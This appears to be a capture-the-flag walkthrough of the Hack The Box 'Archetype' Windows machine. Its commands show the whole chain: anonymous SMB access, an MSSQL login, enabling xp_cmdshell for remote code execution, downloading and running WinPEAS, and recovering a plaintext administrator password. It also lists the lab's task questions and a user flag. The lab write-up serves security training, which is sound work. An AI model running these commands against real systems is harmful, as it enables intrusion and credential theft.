Skip to main content
Very EasyTier 2Windows10.129.195.70

$ archetype.pwn()

An SMB share named 'backups' is accessible without credentials, containing a configuration file with MSSQL credentials. We connect to the SQL server and enable xp_cmdshell for command execution. WinPEAS reveals ConsoleHost_history.txt with the administrator password.

Techniques

SMB EnumerationMSSQL xp_cmdshell RCEWinPEAS Privilege EscalationPowerShell History Loot

Open Ports

445/tcpsmbMicrosoft SMB
1433/tcpmssqlMicrosoft SQL Server

Terminal Session

wazimu@htb ~ archetype
# Port scanning
nmap -sV -p- 10.129.195.70
# PORT    STATE SERVICE  VERSION
# 445/tcp open  smb      Microsoft Windows
# 1433/tcp open mssql    Microsoft SQL Server

# Enumerate SMB shares
smbclient -L \\10.129.195.70\
# Share: backups (non-admin)

# Connect to backups share
smbclient \\10.129.195.70\backups
# get prod.dtsConfig  → contains MSSQL credentials

# Connect to SQL Server
impacket-mssqlclient ARCHETYPE/sql_svc@10.129.195.70 -windows-auth

# Enable command execution
SELECT IS_SRVROLEMEMBER('sysadmin');
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
# nt service\mssqlsvc

# Download WinPEAS for privilege escalation
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest winpeas.exe -OutFile C:\winpeas.exe"';
EXEC xp_cmdshell 'C:\winpeas.exe';

# WinPEAS reveals: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Contents: net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

[✓] Administrator password found → flags captured!

Tasks (7)

1.

Which TCP port is hosting a database server?

2.

What is the name of the non-Administrative share available over SMB?

3.

What is the password identified in the file on the SMB share?

4.

What script from the Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

5.

What extended stored procedure of Microsoft SQL Server can be used to spawn a Windows command shell and pass in a string for execution?

6.

What script can be used in order to search possible paths to escalate privileges on Windows hosts?

7.

What file contains the administrator's password?

User Flag

3e7b102e78218e935bf3f4951fec21a3user.txt

Root Flag